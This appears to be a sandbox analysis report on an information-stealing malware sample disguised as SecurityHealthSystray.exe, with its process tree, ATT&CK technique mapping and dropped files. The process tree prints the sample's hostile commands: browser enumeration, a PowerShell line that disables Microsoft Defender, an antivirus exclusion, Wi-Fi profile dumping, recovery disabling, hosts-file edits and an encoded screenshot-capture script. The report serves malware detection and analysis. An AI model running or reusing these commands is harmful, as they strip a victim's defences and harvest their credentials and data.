            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:2980
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq brave.exe"
          2⤵
          • Executes a command shell one-liner
          PID:3404
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq brave.exe"
            3⤵
            • Discovers running processes
            PID:5940
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
          2⤵
          • Executes a command shell one-liner
          PID:4612
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq chrome.exe"
            3⤵
            • Discovers running processes
            PID:5176
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
          2⤵
          • Executes a command shell one-liner
          PID:6024
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq chromium.exe"
            3⤵
            • Discovers running processes
            PID:1784
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
          2⤵
          • Executes a command shell one-liner
          PID:3828
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq citrio.exe"
            3⤵
            • Discovers running processes
            PID:6080
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
          2⤵
          • Executes a command shell one-liner
          PID:2984
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:3840
          • C:\Windows\system32\cmd.exe
            cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
            2⤵
            • Executes a command shell one-liner
            PID:5908
            • C:\Windows\system32\tasklist.exe
              tasklist /FI "IMAGENAME eq coolnovo.exe"
              3⤵
              • Discovers running processes
              PID:3080
          • C:\Windows\system32\cmd.exe
            cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
            2⤵
              PID:1080
              • C:\Windows\system32\tasklist.exe
                tasklist /FI "IMAGENAME eq coowon.exe"
                3⤵
                • Discovers running processes
                PID:6028
            • C:\Windows\system32\cmd.exe
              cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
              2⤵
              • Executes a command shell one-liner
              PID:5616
            • C:\Windows\system32\cmd.exe
              cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
              2⤵
              • Executes a command shell one-liner
              PID:2628
            • C:\Windows\system32\cmd.exe
              cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
              2⤵
              • Executes a command shell one-liner
              PID:5332
            • C:\Windows\system32\cmd.exe
              cmd /C tasklist /FI "IMAGENAME eq epic.exe"
              2⤵
                PID:3932
              • C:\Windows\system32\cmd.exe
                cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
                2⤵
                  PID:5744
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FI "IMAGENAME eq firefox.exe"
                    3⤵
                    • Discovers running processes
                    PID:5232
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:3452
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FI "IMAGENAME eq iceweasel.exe"
                    3⤵
                    • Discovers running processes
                    PID:2624
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:5124
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:4324
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:5772
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:1360
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:4344
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FI "IMAGENAME eq netscape.exe"
                    3⤵
                    • Discovers running processes
                    PID:3388
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq opera.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:5200
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FI "IMAGENAME eq opera.exe"
                    3⤵
                    • Discovers running processes
                    PID:1152
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:4844
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq safari.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:5948
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:5580
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:5268
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:6092
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FI "IMAGENAME eq sputnik.exe"
                    3⤵
                    • Discovers running processes
                    PID:5380
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq torch.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:1556
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:1160
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:2244
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:2512
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:2848
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:5688
                • C:\Windows\system32\cmd.exe
                  cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
                  2⤵
                  • Executes a command shell one-liner
                  PID:3424
                • C:\Windows\system32\attrib.exe
                  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  2⤵
                  • Views/modifies file attributes
                  PID:904
                • C:\Windows\system32\reagentc.exe
                  reagentc.exe /disable
                  2⤵
                  • Drops file in Windows directory
                  PID:4768
                • C:\Windows\system32\tasklist.exe
                  tasklist
                  2⤵
                  • Discovers running processes
                  PID:2100
                • C:\Windows\system32\tasklist.exe
                  tasklist
                  2⤵
                  • Discovers running processes
                  PID:2876
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Enumerates connected drives
                  PID:3520
                • C:\Windows\System32\Wbem\wmic.exe
                  wmic os get Caption
                  2⤵
                  • Reads the TCP/IP host and domain name from the registry
                  PID:4088
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    3⤵
                      PID:3616
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic cpu get Name
                    2⤵
                    • Reads the TCP/IP host and domain name from the registry
                    PID:2964
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic path win32_VideoController get name
                    2⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • Detects videocard installed
                    PID:3688
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic csproduct get UUID
                    2⤵
                    • Queries system WMI classes for hardware identifiers
                    • Reads the TCP/IP host and domain name from the registry
                    PID:2852
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                    2⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Disables one or more Microsoft Defender components
                    • Enumerates connected drives
                    PID:3080
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show profiles
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:4664
                  • C:\Windows\system32\attrib.exe
                    attrib -r C:\Windows\System32\drivers\etc\hosts
                    2⤵
                    • Drops file in Drivers directory
                    • Views/modifies file attributes
                    PID:1964
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:6028
                    • C:\Windows\system32\attrib.exe
                      attrib +r C:\Windows\System32\drivers\etc\hosts
                      2⤵
                      • Drops file in Drivers directory
                      • Views/modifies file attributes
                      PID:3268
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                      2⤵
                      • Enumerates connected drives
                      PID:2832
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jvevvxwi\jvevvxwi.cmdline"
                        3⤵
                          PID:5312
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F34.tmp" "c:\Users\Admin\AppData\Local\Temp\jvevvxwi\CSC62CE1B705C1D4C09B385A8244B36CCF8.TMP"
                            4⤵
                              PID:4436

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Windows Command Shell

                            1
                            T1059.003

                            Windows Management Instrumentation

                            1
                            T1047

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Defense Evasion

                            Hide Artifacts

                            1
                            T1564

                            Hidden Files and Directories

                            1
                            T1564.001

                            Impair Defenses

                            1
                            T1562

                            Disable or Modify Tools

                            1
                            T1562.001

                            Modify Registry

                            2
                            T1112

                            Obfuscated Files or Information

                            1
                            T1027

                            Command Obfuscation

                            1
                            T1027.010

                            Subvert Trust Controls

                            2
                            T1553

                            Install Root Certificate

                            2
                            T1553.004

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Unsecured Credentials

                            4
                            T1552

                            Credentials In Files

                            3
                            T1552.001

                            Credentials in Registry

                            1
                            T1552.002

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Peripheral Device Discovery

                            1
                            T1120

                            Process Discovery

                            1
                            T1057

                            Query Registry

                            1
                            T1012

                            System Information Discovery

                            3
                            T1082

                            System Network Configuration Discovery

                            3
                            T1016

                            Internet Connection Discovery

                            1
                            T1016.001

                            Wi-Fi Discovery

                            1
                            T1016.002

                            Lateral Movement

                            Collection

                            Data from Local System

                            3
                            T1005

                            Command and Control

                            Web Service

                            1
                            T1102

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 dc2947e3bcf8d52e027b9e9fdd90ae15687bc3bb0375d8c2633000f0d8b827f0
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 c92918e0d7a215d2cce28f7d8419d65f18d3118e1163cc89897537a44169d882
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 a3a4b6fedf55126bc425e0eeb18c369580170918cd5cfd2dc23f1decb04f3331
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            Display (1).png
                            • Path C:\Users\Admin\AppData\Local\Temp\7eP0b3xCRo\Display (1).png
                            • Size 551KB
                            • SHA256 ed2eca3337386125a19f1dab68ede5e12591a6781285ac8f7a2045bbeecf981d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            RES773A.tmp
                            • Path C:\Users\Admin\AppData\Local\Temp\RES773A.tmp
                            • Size 1KB
                            • SHA256 cbc74cf406223b3ab48841e68e43b5033aa9da2e46981dba54b5104e5179ae58
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            RES9F34.tmp
                            • Path C:\Users\Admin\AppData\Local\Temp\RES9F34.tmp
                            • Size 1KB
                            • SHA256 4a7d2372de597f8ff9bde24a398cb2612ac6e753b112e8cc903d0fa63ee6ce16
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            Socials.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\Vryxen\SocialMedias\Socials.zip
                            • Size 141B
                            • SHA256 b9a5832713688cee14ddf585c8f81e5cc366f3c68582fea66ccbd0d478ff2e70
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            __PSScriptPolicyTest_dxvinygl.agl.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxvinygl.agl.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            browsers.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\browsers.zip
                            • Size 22B
                            • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
                            • MD5 SHA1 SHA512
                            Submit Download

                            ConvertFromBackup.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\commonfiles-temp\Admin\ConvertFromBackup.docx
                            • Size 13KB
                            • SHA256 a11492eed9bf2139cff9486423a195d2e9b162e346b7dfdcb1deb89300076329
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            d0uws5hv.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\d0uws5hv\d0uws5hv.dll
                            • Size 4KB
                            • SHA256 4d46f4b46ac0f56f991e7cffe2083c762b55fcc83c1f155a52d273d21f1d9712
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            Display (1).png
                            • Path C:\Users\Admin\AppData\Local\Temp\g9Sc3O5sEr\Display (1).png
                            • Size 532KB
                            • SHA256 630aafc71822edaf114313a3916ebec0688741253202cca4ba33f5b0e3b1b20d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            jvevvxwi.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\jvevvxwi\jvevvxwi.dll
                            • Size 4KB
                            • SHA256 a20f331eac410181a6557167bfca46e83161ded54b2177d7e6c54d744c707252
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            SecurityHealthSystray.exe
                            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                            • Size 10.5MB
                            • SHA256 48465675dcb74efd6735d878ddb7c98d57a60db19a4e6e60c8913a8ac81e95d2
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ReAgent.log
                            • Path C:\Windows\Logs\ReAgent\ReAgent.log
                            • Size 3KB
                            • SHA256 a6c666812f641ad078f83676ea52bdefe99e1d6c539b626a61e750fa4d49c22c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            diagerr.xml
                            • Path C:\Windows\Panther\UnattendGC\diagerr.xml
                            • Size 14KB
                            • SHA256 d27e932314d66127c3f16635ca2a5146cec822518d55646c6c85c58022f08c88
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            diagwrn.xml
                            • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
                            • Size 15KB
                            • SHA256 395e727ed3316134e2f1aab75b7675a9c4fab17498e440d4c6c5565f19b4aa99
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            hosts
                            • Path C:\Windows\System32\drivers\etc\hosts
                            • Size 3KB
                            • SHA256 f1d52946888f2acc859388b0476a006edd3bda1ccff90c78391186115bc9cd6d
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            hosts
                            • Path C:\Windows\System32\drivers\etc\hosts
                            • Size 2KB
                            • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            ReAgent.xml
                            • Path C:\Windows\system32\Recovery\ReAgent.xml
                            • Size 1KB
                            • SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            CSCACFF5587EEF742A89FFE2561D67A17B5.TMP
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\d0uws5hv\CSCACFF5587EEF742A89FFE2561D67A17B5.TMP
                            • Size 652B
                            • SHA256 caf94b85647f4f1ba0c8db1185d4b1763b8506cc70ef824a391341fa44bc9c19
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            d0uws5hv.0.cs
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\d0uws5hv\d0uws5hv.0.cs
                            • Size 1004B
                            • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            d0uws5hv.cmdline
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\d0uws5hv\d0uws5hv.cmdline
                            • Size 607B
                            • SHA256 296974f9ddf731093c15d66a340d36d73a64eb82ef84d8501c0879e0094af84c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            CSC62CE1B705C1D4C09B385A8244B36CCF8.TMP
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\jvevvxwi\CSC62CE1B705C1D4C09B385A8244B36CCF8.TMP
                            • Size 652B
                            • SHA256 883f00be93d5454ca7e153ef7934e17839747697f3d5132d83ba246a209d30a6
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            jvevvxwi.cmdline
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\jvevvxwi\jvevvxwi.cmdline
                            • Size 607B
                            • SHA256 a1f744e25782065c7bca2bffc4c89aebe0b0b4141d5144f37b2845ebbb72cb09
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            memory/268-71-0x000002050AAF0000-0x000002050AAF8000-memory.dmp
                            Download

                            memory/1160-30-0x000001D5DD3F0000-0x000001D5DD3FA000-memory.dmp
                            Download

                            memory/1160-29-0x000001D5DD890000-0x000001D5DD942000-memory.dmp
                            Download

                            memory/1160-28-0x000001D5DD870000-0x000001D5DD88E000-memory.dmp
                            Download

                            memory/1160-20-0x000001D5DD320000-0x000001D5DD342000-memory.dmp
                            Download

                            memory/2832-148-0x0000023B2ACA0000-0x0000023B2ACA8000-memory.dmp
                            Download

                            memory/3080-125-0x000001AE69FE0000-0x000001AE6A092000-memory.dmp
                            Download

                            memory/3520-109-0x000001F7FE320000-0x000001F7FE3D2000-memory.dmp
                            Download